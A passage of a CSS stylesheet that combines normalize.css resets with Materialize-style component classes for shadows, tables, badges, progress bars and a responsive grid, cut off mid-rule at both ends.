*/ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } /* Sections ========================================================================== */ /** * Remove the margin in all browsers (opinionated). */ body { margin: 0; } /** * Add the correct display in IE 9-. */ article, aside, footer, header, nav, section { display: block; } /** * Correct the font size and margin on `h1` elements within `section` and * `article` contexts in Chrome, Firefox, and Safari. */ h1 { font-size: 2em; margin: 0.67em 0; } /* Grouping content ========================================================================== */ /** * Add the correct display in IE 9-. * 1. Add the correct display in IE. */ figcaption, figure, main { /* 1 */ display: block; } /** * Add the correct margin in IE 8. */ figure { margin: 1em 40px; } /** * 1. Add the correct box sizing in Firefox. * 2. Show the overflow in Edge and IE. */ hr { -webkit-box-sizing: content-box; box-sizing: content-box; /* 1 */ height: 0; /* 1 */ overflow: visible; /* 2 */ } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ pre { font-family: monospace, monospace; /* 1 */ font-size: 1em; /* 2 */ } /* Text-level semantics ========================================================================== */ /** * 1. Remove the gray background on active links in IE 10. * 2. Remove gaps in links underline in iOS 8+ and Safari 8+. */ a { background-color: transparent; /* 1 */ -webkit-text-decoration-skip: objects; /* 2 */ } /** * 1. Remove the bottom border in Chrome 57- and Firefox 39-. * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. */ abbr[title] { border-bottom: none; /* 1 */ text-decoration: underline; /* 2 */ text-decoration: underline dotted; /* 2 */ } /** * Prevent the duplicate application of `bolder` by the next rule in Safari 6. */ b, strong { font-weight: inherit; } /** * Add the correct font weight in Chrome, Edge, and Safari. */ b, strong { font-weight: bolder; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ code, kbd, samp { font-family: monospace, monospace; /* 1 */ font-size: 1em; /* 2 */ } /** * Add the correct font style in Android 4.3-. */ dfn { font-style: italic; } /** * Add the correct background and color in IE 9-. */ mark { background-color: #ff0; color: #000; } /** * Add the correct font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` elements from affecting the line height in * all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sub { bottom: -0.25em; } sup { top: -0.5em; } /* Embedded content ========================================================================== */ /** * Add the correct display in IE 9-. */ audio, video { display: inline-block; } /** * Add the correct display in iOS 4-7. */ audio:not([controls]) { display: none; height: 0; } /** * Remove the border on images inside links in IE 10-. */ img { border-style: none; } /** * Hide the overflow in IE. */ svg:not(:root) { overflow: hidden; } /* Forms ========================================================================== */ /** * 1. Change the font styles in all browsers (opinionated). * 2. Remove the margin in Firefox and Safari. */ button, input, optgroup, select, textarea { font-family: sans-serif; /* 1 */ font-size: 100%; /* 1 */ line-height: 1.15; /* 1 */ margin: 0; /* 2 */ } /** * Show the overflow in IE. * 1. Show the overflow in Edge. */ button, input { /* 1 */ overflow: visible; } /** * Remove the inheritance of text transform in Edge, Firefox, and IE. * 1. Remove the inheritance of text transform in Firefox. */ button, select { /* 1 */ text-transform: none; } /** * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video` * controls in Android 4. * 2. Correct the inability to style clickable types in iOS and Safari. */ button, html [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; /* 2 */ } /** * Remove the inner border and padding in Firefox. */ button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { border-style: none; padding: 0; } /** * Restore the focus styles unset by the previous rule. */ button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { outline: 1px dotted ButtonText; } /** * Correct the padding in Firefox. */ fieldset { padding: 0.35em 0.75em 0.625em; } /** * 1. Correct the text wrapping in Edge and IE. * 2. Correct the color inheritance from `fieldset` elements in IE. * 3. Remove the padding so developers are not caught out when they zero out * `fieldset` elements in all browsers. */ legend { -webkit-box-sizing: border-box; box-sizing: border-box; /* 1 */ color: inherit; /* 2 */ display: table; /* 1 */ max-width: 100%; /* 1 */ padding: 0; /* 3 */ white-space: normal; /* 1 */ } /** * 1. Add the correct display in IE 9-. * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera. */ progress { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } /** * Remove the default vertical scrollbar in IE. */ textarea { overflow: auto; } /** * 1. Add the correct box sizing in IE 10-. * 2. Remove the padding in IE 10-. */ [type="checkbox"], [type="radio"] { -webkit-box-sizing: border-box; box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } /** * Correct the cursor style of increment and decrement buttons in Chrome. */ [type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { height: auto; } /** * 1. Correct the odd appearance in Chrome and Safari. * 2. Correct the outline style in Safari. */ [type="search"] { -webkit-appearance: textfield; /* 1 */ outline-offset: -2px; /* 2 */ } /** * Remove the inner padding and cancel buttons in Chrome and Safari on macOS. */ [type="search"]::-webkit-search-cancel-button, [type="search"]::-webkit-search-decoration { -webkit-appearance: none; } /** * 1. Correct the inability to style clickable types in iOS and Safari. * 2. Change font properties to `inherit` in Safari. */ ::-webkit-file-upload-button { -webkit-appearance: button; /* 1 */ font: inherit; /* 2 */ } /* Interactive ========================================================================== */ /* * Add the correct display in IE 9-. * 1. Add the correct display in Edge, IE, and Firefox. */ details, menu { display: block; } /* * Add the correct display in all browsers. */ summary { display: list-item; } /* Scripting ========================================================================== */ /** * Add the correct display in IE 9-. */ canvas { display: inline-block; } /** * Add the correct display in IE. */ template { display: none; } /* Hidden ========================================================================== */ /** * Add the correct display in IE 10-. */ [hidden] { display: none; } html { -webkit-box-sizing: border-box; box-sizing: border-box; } *, *:before, *:after { -webkit-box-sizing: inherit; box-sizing: inherit; } button, input, optgroup, select, textarea { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } ul:not(.browser-default) { padding-left: 0; list-style-type: none; } ul:not(.browser-default) > li { list-style-type: none; } a { color: #039be5; text-decoration: none; -webkit-tap-highlight-color: transparent; } .valign-wrapper { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .clearfix { clear: both; } .z-depth-0 { -webkit-box-shadow: none !important; box-shadow: none !important; } /* 2dp elevation modified*/ .z-depth-1, nav, .card-panel, .card, .toast, .btn, .btn-large, .btn-small, .btn-floating, .dropdown-content, .collapsible, .sidenav { -webkit-box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.12), 0 1px 5px 0 rgba(0, 0, 0, 0.2); box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.12), 0 1px 5px 0 rgba(0, 0, 0, 0.2); } .z-depth-1-half, .btn:hover, .btn-large:hover, .btn-small:hover, .btn-floating:hover { -webkit-box-shadow: 0 3px 3px 0 rgba(0, 0, 0, 0.14), 0 1px 7px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -1px rgba(0, 0, 0, 0.2); box-shadow: 0 3px 3px 0 rgba(0, 0, 0, 0.14), 0 1px 7px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -1px rgba(0, 0, 0, 0.2); } /* 6dp elevation modified*/ .z-depth-2 { -webkit-box-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.3); box-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.3); } /* 12dp elevation modified*/ .z-depth-3 { -webkit-box-shadow: 0 8px 17px 2px rgba(0, 0, 0, 0.14), 0 3px 14px 2px rgba(0, 0, 0, 0.12), 0 5px 5px -3px rgba(0, 0, 0, 0.2); box-shadow: 0 8px 17px 2px rgba(0, 0, 0, 0.14), 0 3px 14px 2px rgba(0, 0, 0, 0.12), 0 5px 5px -3px rgba(0, 0, 0, 0.2); } /* 16dp elevation */ .z-depth-4 { -webkit-box-shadow: 0 16px 24px 2px rgba(0, 0, 0, 0.14), 0 6px 30px 5px rgba(0, 0, 0, 0.12), 0 8px 10px -7px rgba(0, 0, 0, 0.2); box-shadow: 0 16px 24px 2px rgba(0, 0, 0, 0.14), 0 6px 30px 5px rgba(0, 0, 0, 0.12), 0 8px 10px -7px rgba(0, 0, 0, 0.2); } /* 24dp elevation */ .z-depth-5, .modal { -webkit-box-shadow: 0 24px 38px 3px rgba(0, 0, 0, 0.14), 0 9px 46px 8px rgba(0, 0, 0, 0.12), 0 11px 15px -7px rgba(0, 0, 0, 0.2); box-shadow: 0 24px 38px 3px rgba(0, 0, 0, 0.14), 0 9px 46px 8px rgba(0, 0, 0, 0.12), 0 11px 15px -7px rgba(0, 0, 0, 0.2); } .hoverable { -webkit-transition: -webkit-box-shadow .25s; transition: -webkit-box-shadow .25s; transition: box-shadow .25s; transition: box-shadow .25s, -webkit-box-shadow .25s; } .hoverable:hover { -webkit-box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); } .divider { height: 1px; overflow: hidden; background-color: #e0e0e0; } blockquote { margin: 20px 0; padding-left: 1.5rem; border-left: 5px solid #ee6e73; } i { line-height: inherit; } i.left { float: left; margin-right: 15px; } i.right { float: right; margin-left: 15px; } i.tiny { font-size: 1rem; } i.small { font-size: 2rem; } i.medium { font-size: 4rem; } i.large { font-size: 6rem; } img.responsive-img, video.responsive-video { max-width: 100%; height: auto; } .pagination li { display: inline-block; border-radius: 2px; text-align: center; vertical-align: top; height: 30px; } .pagination li a { color: #444; display: inline-block; font-size: 1.2rem; padding: 0 10px; line-height: 30px; } .pagination li.active a { color: #fff; } .pagination li.active { background-color: #ee6e73; } .pagination li.disabled a { cursor: default; color: #999; } .pagination li i { font-size: 2rem; } .pagination li.pages ul li { display: inline-block; float: none; } @media only screen and (max-width: 992px) { .pagination { width: 100%; } .pagination li.prev, .pagination li.next { width: 10%; } .pagination li.pages { width: 80%; overflow: hidden; white-space: nowrap; } } .breadcrumb { font-size: 18px; color: rgba(255, 255, 255, 0.7); } .breadcrumb i, .breadcrumb [class^="mdi-"], .breadcrumb [class*="mdi-"], .breadcrumb i.material-icons { display: inline-block; float: left; font-size: 24px; } .breadcrumb:before { content: '\E5CC'; color: rgba(255, 255, 255, 0.7); vertical-align: top; display: inline-block; font-family: 'Material Icons'; font-weight: normal; font-style: normal; font-size: 25px; margin: 0 10px 0 8px; -webkit-font-smoothing: antialiased; } .breadcrumb:first-child:before { display: none; } .breadcrumb:last-child { color: #fff; } .parallax-container { position: relative; overflow: hidden; height: 500px; } .parallax-container .parallax { position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: -1; } .parallax-container .parallax img { opacity: 0; position: absolute; left: 50%; bottom: 0; min-width: 100%; min-height: 100%; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); -webkit-transform: translateX(-50%); transform: translateX(-50%); } .pin-top, .pin-bottom { position: relative; } .pinned { position: fixed !important; } /********************* Transition Classes **********************/ ul.staggered-list li { opacity: 0; } .fade-in { opacity: 0; -webkit-transform-origin: 0 50%; transform-origin: 0 50%; } /********************* Media Query Classes **********************/ @media only screen and (max-width: 600px) { .hide-on-small-only, .hide-on-small-and-down { display: none !important; } } @media only screen and (max-width: 992px) { .hide-on-med-and-down { display: none !important; } } @media only screen and (min-width: 601px) { .hide-on-med-and-up { display: none !important; } } @media only screen and (min-width: 600px) and (max-width: 992px) { .hide-on-med-only { display: none !important; } } @media only screen and (min-width: 993px) { .hide-on-large-only { display: none !important; } } @media only screen and (min-width: 1201px) { .hide-on-extra-large-only { display: none !important; } } @media only screen and (min-width: 1201px) { .show-on-extra-large { display: block !important; } } @media only screen and (min-width: 993px) { .show-on-large { display: block !important; } } @media only screen and (min-width: 600px) and (max-width: 992px) { .show-on-medium { display: block !important; } } @media only screen and (max-width: 600px) { .show-on-small { display: block !important; } } @media only screen and (min-width: 601px) { .show-on-medium-and-up { display: block !important; } } @media only screen and (max-width: 992px) { .show-on-medium-and-down { display: block !important; } } @media only screen and (max-width: 600px) { .center-on-small-only { text-align: center; } } .page-footer { padding-top: 20px; color: #fff; background-color: #ee6e73; } .page-footer .footer-copyright { overflow: hidden; min-height: 50px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; padding: 10px 0px; color: rgba(255, 255, 255, 0.8); background-color: rgba(51, 51, 51, 0.08); } table, th, td { border: none; } table { width: 100%; display: table; border-collapse: collapse; border-spacing: 0; } table.striped tr { border-bottom: none; } table.striped > tbody > tr:nth-child(odd) { background-color: rgba(242, 242, 242, 0.5); } table.striped > tbody > tr > td { border-radius: 0; } table.highlight > tbody > tr { -webkit-transition: background-color .25s ease; transition: background-color .25s ease; } table.highlight > tbody > tr:hover { background-color: rgba(242, 242, 242, 0.5); } table.centered thead tr th, table.centered tbody tr td { text-align: center; } tr { border-bottom: 1px solid rgba(0, 0, 0, 0.12); } td, th { padding: 15px 5px; display: table-cell; text-align: left; vertical-align: middle; border-radius: 2px; } @media only screen and (max-width: 992px) { table.responsive-table { width: 100%; border-collapse: collapse; border-spacing: 0; display: block; position: relative; /* sort out borders */ } table.responsive-table td:empty:before { content: '\00a0'; } table.responsive-table th, table.responsive-table td { margin: 0; vertical-align: top; } table.responsive-table th { text-align: left; } table.responsive-table thead { display: block; float: left; } table.responsive-table thead tr { display: block; padding: 0 10px 0 0; } table.responsive-table thead tr th::before { content: "\00a0"; } table.responsive-table tbody { display: block; width: auto; position: relative; overflow-x: auto; white-space: nowrap; } table.responsive-table tbody tr { display: inline-block; vertical-align: top; } table.responsive-table th { display: block; text-align: right; } table.responsive-table td { display: block; min-height: 1.25em; text-align: left; } table.responsive-table tr { border-bottom: none; padding: 0 10px; } table.responsive-table thead { border: 0; border-right: 1px solid rgba(0, 0, 0, 0.12); } } .collection { margin: 0.5rem 0 1rem 0; border: 1px solid #e0e0e0; border-radius: 2px; overflow: hidden; position: relative; } .collection .collection-item { background-color: #fff; line-height: 1.5rem; padding: 10px 20px; margin: 0; border-bottom: 1px solid #e0e0e0; } .collection .collection-item.avatar { min-height: 84px; padding-left: 72px; position: relative; } .collection .collection-item.avatar:not(.circle-clipper) > .circle, .collection .collection-item.avatar :not(.circle-clipper) > .circle { position: absolute; width: 42px; height: 42px; overflow: hidden; left: 15px; display: inline-block; vertical-align: middle; } .collection .collection-item.avatar i.circle { font-size: 18px; line-height: 42px; color: #fff; background-color: #999; text-align: center; } .collection .collection-item.avatar .title { font-size: 16px; } .collection .collection-item.avatar p { margin: 0; } .collection .collection-item.avatar .secondary-content { position: absolute; top: 16px; right: 16px; } .collection .collection-item:last-child { border-bottom: none; } .collection .collection-item.active { background-color: #26a69a; color: #eafaf9; } .collection .collection-item.active .secondary-content { color: #fff; } .collection a.collection-item { display: block; -webkit-transition: .25s; transition: .25s; color: #26a69a; } .collection a.collection-item:not(.active):hover { background-color: #ddd; } .collection.with-header .collection-header { background-color: #fff; border-bottom: 1px solid #e0e0e0; padding: 10px 20px; } .collection.with-header .collection-item { padding-left: 30px; } .collection.with-header .collection-item.avatar { padding-left: 72px; } .secondary-content { float: right; color: #26a69a; } .collapsible .collection { margin: 0; border: none; } .video-container { position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; } .video-container iframe, .video-container object, .video-container embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .progress { position: relative; height: 4px; display: block; width: 100%; background-color: #acece6; border-radius: 2px; margin: 0.5rem 0 1rem 0; overflow: hidden; } .progress .determinate { position: absolute; top: 0; left: 0; bottom: 0; background-color: #26a69a; -webkit-transition: width .3s linear; transition: width .3s linear; } .progress .indeterminate { background-color: #26a69a; } .progress .indeterminate:before { content: ''; position: absolute; background-color: inherit; top: 0; left: 0; bottom: 0; will-change: left, right; -webkit-animation: indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; animation: indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .progress .indeterminate:after { content: ''; position: absolute; background-color: inherit; top: 0; left: 0; bottom: 0; will-change: left, right; -webkit-animation: indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation: indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; -webkit-animation-delay: 1.15s; animation-delay: 1.15s; } @-webkit-keyframes indeterminate { 0% { left: -35%; right: 100%; } 60% { left: 100%; right: -90%; } 100% { left: 100%; right: -90%; } } @keyframes indeterminate { 0% { left: -35%; right: 100%; } 60% { left: 100%; right: -90%; } 100% { left: 100%; right: -90%; } } @-webkit-keyframes indeterminate-short { 0% { left: -200%; right: 100%; } 60% { left: 107%; right: -8%; } 100% { left: 107%; right: -8%; } } @keyframes indeterminate-short { 0% { left: -200%; right: 100%; } 60% { left: 107%; right: -8%; } 100% { left: 107%; right: -8%; } } /******************* Utility Classes *******************/ .hide { display: none !important; } .left-align { text-align: left; } .right-align { text-align: right; } .center, .center-align { text-align: center; } .left { float: left !important; } .right { float: right !important; } .no-select, input[type=range], input[type=range] + .thumb { -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .circle { border-radius: 50%; } .center-block { display: block; margin-left: auto; margin-right: auto; } .truncate { display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .no-padding { padding: 0 !important; } span.badge { min-width: 3rem; padding: 0 6px; margin-left: 14px; text-align: center; font-size: 1rem; line-height: 22px; height: 22px; color: #757575; float: right; -webkit-box-sizing: border-box; box-sizing: border-box; } span.badge.new { font-weight: 300; font-size: 0.8rem; color: #fff; background-color: #26a69a; border-radius: 2px; } span.badge.new:after { content: " new"; } span.badge[data-badge-caption]::after { content: " " attr(data-badge-caption); } nav ul a span.badge { display: inline-block; float: none; margin-left: 4px; line-height: 22px; height: 22px; -webkit-font-smoothing: auto; } .collection-item span.badge { margin-top: calc(0.75rem - 11px); } .collapsible span.badge { margin-left: auto; } .sidenav span.badge { margin-top: calc(24px - 11px); } table span.badge { display: inline-block; float: none; margin-left: auto; } /* This is needed for some mobile phones to display the Google Icon font properly */ .material-icons { text-rendering: optimizeLegibility; -webkit-font-feature-settings: 'liga'; -moz-font-feature-settings: 'liga'; font-feature-settings: 'liga'; } .container { margin: 0 auto; max-width: 1280px; width: 90%; } @media only screen and (min-width: 601px) { .container { width: 85%; } } @media only screen and (min-width: 993px) { .container { width: 70%; } } .col .row { margin-left: -0.75rem; margin-right: -0.75rem; } .section { padding-top: 1rem; padding-bottom: 1rem; } .section.no-pad { padding: 0; } .section.no-pad-bot { padding-bottom: 0; } .section.no-pad-top { padding-top: 0; } .row { margin-left: auto; margin-right: auto; margin-bottom: 20px; } .row:after { content: ""; display: table; clear: both; } .row .col { float: left; -webkit-box-sizing: border-box; box-sizing: border-box; padding: 0 0.75rem; min-height: 1px; } .row .col[class*="push-"], .row .col[class*="pull-"] { position: relative; } .row .col.s1 { width: 8.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.s2 { width: 16.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.s3 { width: 25%; margin-left: auto; left: auto; right: auto; } .row .col.s4 { width: 33.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.s5 { width: 41.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.s6 { width: 50%; margin-left: auto; left: auto; right: auto; } .row .col.s7 { width: 58.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.s8 { width: 66.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.s9 { width: 75%; margin-left: auto; left: auto; right: auto; } .row .col.s10 { width: 83.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.s11 { width: 91.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.s12 { width: 100%; margin-left: auto; left: auto; right: auto; } .row .col.offset-s1 { margin-left: 8.3333333333%; } .row .col.pull-s1 { right: 8.3333333333%; } .row .col.push-s1 { left: 8.3333333333%; } .row .col.offset-s2 { margin-left: 16.6666666667%; } .row .col.pull-s2 { right: 16.6666666667%; } .row .col.push-s2 { left: 16.6666666667%; } .row .col.offset-s3 { margin-left: 25%; } .row .col.pull-s3 { right: 25%; } .row .col.push-s3 { left: 25%; } .row .col.offset-s4 { margin-left: 33.3333333333%; } .row .col.pull-s4 { right: 33.3333333333%; } .row .col.push-s4 { left: 33.3333333333%; } .row .col.offset-s5 { margin-left: 41.6666666667%; } .row .col.pull-s5 { right: 41.6666666667%; } .row .col.push-s5 { left: 41.6666666667%; } .row .col.offset-s6 { margin-left: 50%; } .row .col.pull-s6 { right: 50%; } .row .col.push-s6 { left: 50%; } .row .col.offset-s7 { margin-left: 58.3333333333%; } .row .col.pull-s7 { right: 58.3333333333%; } .row .col.push-s7 { left: 58.3333333333%; } .row .col.offset-s8 { margin-left: 66.6666666667%; } .row .col.pull-s8 { right: 66.6666666667%; } .row .col.push-s8 { left: 66.6666666667%; } .row .col.offset-s9 { margin-left: 75%; } .row .col.pull-s9 { right: 75%; } .row .col.push-s9 { left: 75%; } .row .col.offset-s10 { margin-left: 83.3333333333%; } .row .col.pull-s10 { right: 83.3333333333%; } .row .col.push-s10 { left: 83.3333333333%; } .row .col.offset-s11 { margin-left: 91.6666666667%; } .row .col.pull-s11 { right: 91.6666666667%; } .row .col.push-s11 { left: 91.6666666667%; } .row .col.offset-s12 { margin-left: 100%; } .row .col.pull-s12 { right: 100%; } .row .col.push-s12 { left: 100%; } @media only screen and (min-width: 601px) { .row .col.m1 { width: 8.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.m2 { width: 16.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.m3 { width: 25%; margin-left: auto; left: auto; right: auto; } .row .col.m4 { width: 33.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.m5 { width: 41.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.m6 { width: 50%; margin-left: auto; left: auto; right: auto; } .row .col.m7 { width: 58.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.m8 { width: 66.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.m9 { width: 75%; margin-left: auto; left: auto; right: auto; } .row .col.m10 { width: 83.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.m11 { width: 91.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.m12 { width: 100%; margin-left: auto; left: auto; right: auto; } .row .col.offset-m1 { margin-left: 8.3333333333%; } .row .col.pull-m1 { right: 8.3333333333%; } .row .col.push-m1 { left: 8.3333333333%; } .row .col.offset-m2 { margin-left: 16.6666666667%; } .row .col.pull-m2 { right: 16.6666666667%; } .row .col.push-m2 { left: 16.6666666667%; } .row .col.offset-m3 { margin-left: 25%; } .row .col.pull-m3 { right: 25%; } .row .col.push-m3 { left: 25%; } .row .col.offset-m4 { margin-left: 33.3333333333%; } .row .col.pull-m4 { right: 33.3333333333%; } .row .col.push-m4 { left: 33.3333333333%; } .row .col.offset-m5 { margin-left: 41.6666666667%; } .row .col.pull-m5 { right: 41.6666666667%; } .row .col.push-m5 { left: 41.6666666667%; } .row .col.offset-m6 { margin-left: 50%; } .row .col.pull-m6 { right: 50%; } .row .col.push-m6 { left: 50%; } .row .col.offset-m7 { margin-left: 58.3333333333%; } .row .col.pull-m7 { right: 58.3333333333%; } .row .col.push-m7 { left: 58.3333333333%; } .row .col.offset-m8 { margin-left: 66.6666666667%; } .row .col.pull-m8 { right: 66.6666666667%; } .row .col.push-m8 { left: 66.6666666667%; } .row .col.offset-m9 { margin-left: 75%; } .row .col.pull-m9 { right: 75%; } .row .col.push-m9 { left: 75%; } .row .col.offset-m10 { margin-left: 83.3333333333%; } .row .col.pull-m10 { right: 83.3333333333%; } .row .col.push-m10 { left: 83.3333333333%; } .row .col.offset-m11 { margin-left: 91.6666666667%; } .row .col.pull-m11 { right: 91.6666666667%; } .row .col.push-m11 { left: 91.6666666667%; } .row .col.offset-m12 { margin-left: 100%; } .row .col.pull-m12 { right: 100%; } .row .col.push-m12 { left: 100%; } } @media only screen and (min-width: 993px) { .row .col.l1 { width: 8.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.l2 { width: 16.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.l3 { width: 25%; margin-left: auto; left: auto; right: auto; } .row .col.l4 { width: 33.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.l5 { width: 41.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.l6 { width: 50%; margin-left: auto; left: auto; right: auto; } .row .col.l7 { width: 58.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.l8 { width: 66.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.l9 { width: 75%; margin-left: auto; left: auto; right: auto; } .row .col.l10 { width: 83.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.l11 { width: 91.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.l12 { width: 100%; margin-left: auto; left: auto; right: auto; } .row .col.offset-l1 { margin-left: 8.3333333333%; } .row .col.pull-l1 { right: 8.3333333333%; } .row .col.push-l1 { left: 8.3333333333%; } .row .col.offset-l2 { margin-left: 16.6666666667%; } .row .col.pull-l2 { right: 16.6666666667%; } .row .col.push-l2 { left: 16.6666666667%; } .row .col.offset-l3 { margin-left: 25%; } .row .col.pull-l3 { right: 25%; } .row .col.push-l3 { left: 25%; } .row .col.offset-l4 { margin-left: 33.3333333333%; } .row .col.pull-l4 { right: 33.3333333333%; } .row .col.push-l4 { left: 33.3333333333%; } .row .col.offset-l5 { margin-left: 41.6666666667%; } .row .col.pull-l5 { right: 41.6666666667%; } .row .col.push-l5 { left: 41.6666666667%; } .row .col.offset-l6 { margin-left: 50%; } .row .col.pull-l6 { right: 50%; } .row .col.push-l6 { left: 50%; } .row .col.offset-l7 { margin-left: 58.3333333333%; } .row .col.pull-l7 { right: 58.3333333333%; } .row .col.push-l7 { left: 58.3333333333%; } .row .col.offset-l8 { margin-left: 66.6666666667%; } .row .col.pull-l8 { right: 66.6666666667%; } .row .col.push-l8 { left: 66.6666666667%; } .row .col.offset-l9 { margin-left: 75%; } .row .col.pull-l9 { right: 75%; } .row .col.push-l9 { left: 75%; } .row .col.offset-l10 { margin-left: 83.3333333333%; } .row .col.pull-l10 { right: 83.3333333333%; } .row .col.push-l10 { left: 83.3333333333%; } .row .col.offset-l11 { margin-left: 91.6666666667%; } .row .col.pull-l11 { right: 91.6666666667%; } .row .col.push-l11 { left: 91.6666666667%; } .row .col.offset-l12 { margin-left: 100%; } .row .col.pull-l12 { right: 100%; } .row .col.push-l12 { left: 100%; } } @media only screen and (min-width: 1201px) { .row .col.xl1 { width: 8.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.xl2 { width: 16.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.xl3 { width: 25%; margin-left: auto; left: auto; right: auto; } .row .col.xl4 { width: 33.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.xl5 { width: 41.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.xl6 { width: 50%; margin-left: auto; left: auto; right: auto; } .row .col.xl7 { width: 58.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.xl8 { width: 66.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.xl9 { width: 75%; margin-left: auto; left: auto; right: auto; } .row .col.xl10 { width: 83.3333333333%; margin-left: auto; left: auto; right: auto; } .row .col.xl11 { width: 91.6666666667%; margin-left: auto; left: auto; right: auto; } .row .col.xl12 { width: 100%; margin-left: auto; left: auto; right: auto; } .row .col.offset-xl1 { margin-left: 8.3333333333%; } .row .col.pull-xl1 { right: 8.3333333333%; } .row .col.push-xl1 { left: 8.3333333333%; } .row .col.offset-xl2 { margin-left: 16.6666666667%; } .row .col.pull-xl2 { right: 16.6666666667%; } .row .col.push-xl2 { left: 16.6666666667%; } .row .col.offset-xl3 { margin-left: 25%; } .row .col.pull-xl3 { right: 25%; } .row .col.push-xl3 { left: 25%; } .row .col.offset-xl4 { margin-left: 33.3333333333%; } .row .col.pull-xl4 { right: 33.3333333333%; } .row .col.push-xl4 { left: 33.3333333333%; } .row .col.offset-xl5 { margin-left: 41.6666666667%; } .row .col.pull-xl5 { right: 41.6666666667%; } .row .col.push-xl5 { left: 41.6666666667%; } .row .col.offset-xl6 { margin-left: 50%; } .row .col.pull-xl6 { right: 50%; } .row .col.push-xl6 { left: 50%; } .row .col.offset-xl7 { margin-left: 58.3333333333%; } .row .col.pull-xl7 { right: 58.3333333333%; } .row .col.push-xl7 { left: 58.3333333333%; } .row .col.offset-xl8 { margin-left: 66.6666666667%; } .row .col.pull-xl8 { right: 66.6666666667%; } .row .col.push-xl8 { left: 66.6666666667%; } .row .col.offset-xl9 { margin-left: 75%; } .row .col.pull-xl9 { right: 75%; } .row .col.push-xl9 { left: 75%; } .row .col.offset-xl10 { margin-left: 83.3333333333%; } .row .col.pull-xl10 { right: 83.3333333333%; } .row .col.push-xl10 { left: 83.3333333333%; } .row .col.offset-xl11 { margin-left: 91.6666666667%; } .row .col.pull-xl11 { right: 91.6666666667%; } .row .col.push-xl11 { left: 91.6666666667%; } .row .col.offset-xl12 { 